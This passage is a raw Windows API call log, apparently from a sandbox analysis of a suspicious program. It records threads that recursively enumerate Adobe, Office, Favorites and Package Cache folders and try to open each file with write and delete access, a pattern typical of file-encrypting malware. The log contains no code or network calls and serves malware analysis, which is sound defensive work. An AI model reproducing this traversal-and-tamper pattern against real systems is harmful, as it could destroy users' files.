[0149.962] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url")) returned 0x20 [0150.753] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x20) returned 0 [0150.753] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.753] GetLastError () returned 0x5 [0150.753] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x20) returned 0 [0150.753] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8c48) returned 1 Thread: id = 2906 os_tid = 0x1a04 [0149.963] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url")) returned 0x20 [0150.494] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x20) returned 0 [0150.494] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.495] GetLastError () returned 0x5 [0150.495] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url", dwFileAttributes=0x20) returned 0 [0150.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8258) returned 1 Thread: id = 2907 os_tid = 0x1a08 [0149.964] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0150.498] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x20) returned 0 [0150.498] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.498] GetLastError () returned 0x5 [0150.498] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x20) returned 0 [0150.498] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7c58) returned 1 Thread: id = 2908 os_tid = 0x1a0c [0149.965] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0150.495] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x20) returned 0 [0150.496] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.496] GetLastError () returned 0x5 [0150.496] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x20) returned 0 [0150.496] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7350) returned 1 Thread: id = 2909 os_tid = 0x1a10 [0149.965] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\reader_10.0.helpcfg")) returned 0x20 [0149.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0149.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\da_dk\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.965] GetLastError () returned 0x5 [0149.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 0 [0149.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad988) returned 1 Thread: id = 2910 os_tid = 0x1a14 [0149.970] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs")) returned 0x20 [0150.161] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0150.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.162] GetLastError () returned 0x5 [0150.162] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHS", dwFileAttributes=0x20) returned 0 [0150.162] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x940d80) returned 1 Thread: id = 2911 os_tid = 0x1a18 [0149.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht")) returned 0x20 [0150.165] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0150.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.165] GetLastError () returned 0x5 [0150.166] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CHT", dwFileAttributes=0x20) returned 0 [0150.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x941bc0) returned 1 Thread: id = 2951 os_tid = 0x1ab8 [0150.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf")) returned 0x20 [0152.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF", dwFileAttributes=0x20) returned 0 [0152.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0152.350] GetLastError () returned 0x5 [0152.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF", dwFileAttributes=0x20) returned 0 [0152.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9000) returned 1 Thread: id = 2953 os_tid = 0x1ac0 [0150.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf")) returned 0x20 [0150.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF", dwFileAttributes=0x20) returned 0 [0150.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0150.259] GetLastError () returned 0x5 [0150.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF", dwFileAttributes=0x20) returned 0 [0150.260] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c500e8) returned 1 Thread: id = 2956 os_tid = 0x1acc [0150.263] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c6680 [0150.263] wcscpy (in: _Dest=0xd4c6680, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0150.263] wcscat (in: _Dest=0xd4c6680, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0150.263] wcscat (in: _Dest=0xd4c6680, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0150.263] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0150.263] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f70 [0150.263] wcscmp (_String1=".", _String2=".") returned 0 [0150.263] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.263] wcscmp (_String1="..", _String2=".") returned 1 [0150.263] wcscmp (_String1="..", _String2="..") returned 0 [0150.263] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0150.263] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0150.263] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0150.263] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bbb48 [0150.263] wcscpy (in: _Dest=0xd4bbb48, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0150.263] wcscat (in: _Dest=0xd4bbb48, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0150.263] wcscat (in: _Dest=0xd4bbb48, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0160.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bbb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0160.987] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0160.987] FindClose (in: hFindFile=0x941f70 | out: hFindFile=0x941f70) returned 1 [0160.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0160.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6680) returned 1 [0160.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6740) returned 1 Thread: id = 2957 os_tid = 0x1ad0 [0150.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c6c80 [0150.264] wcscpy (in: _Dest=0xd4c6c80, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0150.264] wcscat (in: _Dest=0xd4c6c80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0150.264] wcscat (in: _Dest=0xd4c6c80, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0150.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x920308 [0150.264] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9429b0 [0150.264] wcscmp (_String1=".", _String2=".") returned 0 [0150.264] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.264] wcscmp (_String1="..", _String2=".") returned 1 [0150.264] wcscmp (_String1="..", _String2="..") returned 0 [0150.264] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0150.264] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0150.264] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0150.264] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe0) returned 0x904860 [0150.264] wcscpy (in: _Dest=0x904860, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0150.264] wcscat (in: _Dest=0x904860, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0150.265] wcscat (in: _Dest=0x904860, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0157.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x904860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704 [0157.095] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x920308 | out: lpFindFileData=0x920308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0157.095] FindClose (in: hFindFile=0x9429b0 | out: hFindFile=0x9429b0) returned 1 [0157.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x920308) returned 1 [0157.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6c80) returned 1 [0157.095] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6a40) returned 1 Thread: id = 2958 os_tid = 0x1ad4 [0150.265] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6980 [0150.265] wcscpy (in: _Dest=0xd4c6980, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0150.265] wcscat (in: _Dest=0xd4c6980, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0150.265] wcscat (in: _Dest=0xd4c6980, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" [0150.265] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91f968 [0150.265] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0150.265] wcscmp (_String1=".", _String2=".") returned 0 [0150.265] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.266] wcscmp (_String1="..", _String2=".") returned 1 [0150.266] wcscmp (_String1="..", _String2="..") returned 0 [0150.266] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0150.266] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0150.266] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0150.266] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe4) returned 0xd4bbf08 [0150.266] wcscpy (in: _Dest=0xd4bbf08, _Source="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0150.266] wcscat (in: _Dest=0xd4bbf08, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0150.266] wcscat (in: _Dest=0xd4bbf08, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0153.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bbf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0153.829] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0153.829] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0153.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f968) returned 1 [0153.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6980) returned 1 [0153.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f44f0) returned 1 Thread: id = 2959 os_tid = 0x1ad8 [0150.266] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb4) returned 0xd4c6e00 [0150.266] wcscpy (in: _Dest=0xd4c6e00, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0150.266] wcscat (in: _Dest=0xd4c6e00, _Source="\\" | out: _Dest="C:\\ProgramData\\Package 